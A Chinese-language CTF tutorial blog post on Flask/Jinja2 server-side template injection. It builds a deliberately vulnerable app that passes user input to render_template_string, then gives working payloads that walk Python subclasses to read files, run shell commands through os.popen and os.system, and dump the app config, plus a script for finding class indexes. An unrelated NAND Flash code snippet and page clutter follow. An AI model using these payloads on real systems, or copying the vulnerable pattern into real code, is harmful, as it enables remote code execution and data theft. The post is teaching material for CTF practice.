CTF_Web:从0学习Flask模板注入(SSTI)

0x01 前言

最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架、不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入的相关知识,也是对自己学习的一个记录。

0x02 Flask简介

Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。优点就在于开发简单,代码量少,很多工作都在框架中被实现了。他与Django不同于Django是一个全能型框架,通常用于编写大型的网站。
而jinjia2、template、Mako等等都属于为框架提供功能支持的引擎,各有优缺点,也不是我们主要学习的内容。但我们要知道Flask默认使用的引擎为jinjia2,本文也会主要分析jinjia2中的注入问题。
首先配置flask与jinjia2引擎环境:

pip3 install flask
pip3 install jinjia2

这时使用python -c "import flask"回显无报错信息,证明需要的环境已经安装完毕,下面从一个最简单的flask例子开始学起。

0x03 简单的Flask例子

#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__)  # 创建FLask类
@app.route("/")  #设置的默认路由
def index(): #默认的视图函数,与路由绑定,用来处理用户访问网站跟目录/时的情况
    name = request.args.get('name', 'guest')#接受参数名为name 的参数传入
    html = '''
    <h3>your input %s</h3>
    '''%name #设置一个模板html,将name的值以%s输出
    return render_template_string(html) #将html以字符串模板的形式渲染
    #对应的,当html是一个文件时,使用render_template 函数来渲染一个指定的文件
if __name__=='__main__': #作为主文件启动时
    app.run(debug = True)  #以debug模式运行

通过对上面简单例子的注释解释,可以看出,一个完整简单的Flask框架,由一个或很多个路由(route)、绑定的视图函数组成,而视图函数则用来对用户访问的这个路由进行处理,包括接收参数、创建模板、渲染,等等操作,对我们来说,容易出现问题的就在于render渲染的过程中没有对用户的输入进行限制与过滤,导致恶意的代码被注入,执行了用户输入的代码。
当需要不断的修改代码时,建议开启debug模式,否则每次修改都需要重新启动py文件,比较麻烦,启动debug模式使用下面的语句。

app.debug = True
或者
app.run(debug=True)

上面这个例子运行后,会在localhost:5000返回默认的页面,如图所示:

在这里插入图片描述

当传入参数name时,会被Template创建模板后渲染为页面展示的内容。
例如传入 name=AFCC_

下面我们将对jinjia2引擎中的语法进行介绍,并描述如果用户输入没有经过限制将会造成的危害。

0x04 jinjia2引擎注入测试和常用payload

在jinjia2引擎中:

{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

我们在平常的测试中最常用的就是{{}},测试是否将花括号中的值是否可控且被模板渲染。
例如{{7*7}}{{7*'7'}},其返回分别为:

由此可见用户在{{}}中的输入被引擎视为新的变量从而进行渲染,这时就满足了代码执行、输入可控的基本条件。
这里首先了解一下模板中的几个重要类和属性,便于后续调用指定的敏感模块。
首先是

__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

我们逐个测试一下返回的内容。
首先是__class__,这里使用空字符串来做内容'',传入{{''.__class__}}
在这里插入图片描述返回了字符串对象,接着使用__mro____base__获取字符串对象的基类。
这里可见__base__返回的是当前类的直接继承类,而__mro__则返回当前类继承的元组,包含了多个类。
所以我们选择直接继承类为object的对象,使用{{[].__class__.__base__}},此时会直接返回object
在这里插入图片描述

我们在多个基类中选择object类,可以看到该基类中有着很多子类。
我们想要使用的,有如下几个利用点:

一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

1.file模块

通过索引找到file模块,使用read功能读取文件。

{{[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}

2.os模块


这里的[60]就是warnings.catch_warnings
[133]就是socket._socketobject,可以看到里面os都未导入。
在这里使用__builtins__中的eval函数导入os模块来执型命令。

{{[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

在Linux中返回(Linux中157warnings.catch_warnings


通过查找,内置os直接可以使用的是如下两个模块。
[72]site._Printer
[77]site.Quitter
这里使用os.system执行命令。

{{''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}

浏览器返回0,代表执行成功,但在调试信息中可以看到执行的结果

当然环境的差异也会使索引的值不一样,所以需要脚本帮助我们判断当前环境的索引值。
最方便的当然是直接使用已经有os模块的类来执行命令。
这里将获取的所有子类赋值给list,经过处理后找到需要的模块。
(脚本来自二算i

def find():
    list = ""
    list = list.replace('\'','')
    list = list.replace('<','')
    list = list.replace('>','')
    list = list.replace('class ','')
    list = list.replace('enum ','')
    list = list.replace('type ','')
    list = list.replace(' ','')
    list = list.split(',')
    print(list)
    className = 'warnings.catch_warnings' #需要查找的模块名称
    num = list.index(className)
    print(num) #返回索引
if __name__ == '__main__':
    find()

3.get_flashed_messages() 获取闪现信息

使用{{get_flashed_messages.__globals__}}获取全局信息,这里可以看到许多敏感信息,但这个函数名称也告诉我们只是可以获取信息而已,并不能像上面一样进行模块的利用和执行,这里代表这个app本身的值为current_app
使用config获取配置信息,当然这里的config可以直接获取,在某些时候被过滤时可以使用这种方式。(攻防世界Web_shrine)

get_flashed_messages.__globals__['current_app'].config

在这里插入图片描述

0x05 参考文章

SSTI模板注入
python学习笔记(了解Flask、jinjia2引擎)
Flask模板注入
Flask-SSTI注意事项以及一些POC

  • 12
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
NAND Flash是一种非易失性存储器件,由于其高速、低功耗、低成本等特点,已经成为现代电子设备中最常用的存储媒介。在使用NAND Flash进行数据存储时,需要使用Flash Translation Layer(FTL)来管理其物理块(PBA)和逻辑块(LBA)之间的映射关系。以下是一个简单的NAND Flash FTL模板,以供参考: ```python class FTL: def __init__(self, n_blocks, block_size, page_size): self.n_blocks = n_blocks # 总物理块数 self.block_size = block_size # 每个物理块的大小 self.page_size = page_size # 每个物理块中的页面大小 self.lba_to_pba = {} # LBA到PBA的映射表 self.free_blocks = set(range(n_blocks)) # 空闲物理块集合 def write(self, lba, data): # 检查是否需要新分配物理块 if lba not in self.lba_to_pba: if not self.free_blocks: raise Exception('Out of space!') pba = self.free_blocks.pop() self.lba_to_pba[lba] = pba pba = self.lba_to_pba[lba] # 写数据到物理块中 # ... def read(self, lba): if lba not in self.lba_to_pba: raise Exception('Block not found!') pba = self.lba_to_pba[lba] # 从物理块中读取数据 # ... def erase(self, lba): if lba not in self.lba_to_pba: raise Exception('Block not found!') pba = self.lba_to_pba[lba] # 擦除物理块 # ... self.free_blocks.add(pba) del self.lba_to_pba[lba] ``` 在这个模板中,我们使用一个字典`lba_to_pba`来记录LBA和PBA之间的映射关系。在写入数据时,如果该LBA没有对应的PBA,则需要从空闲物理块中选择一个新的物理块,并将其分配给该LBA。在读取数据时,我们可以从`lba_to_pba`中查找该LBA对应的PBA,并从该PBA中读取数据。在擦除数据时,我们需要擦除该LBA对应的PBA,并将该PBA重新加入到空闲物理块集合中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星辰照耀你我

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值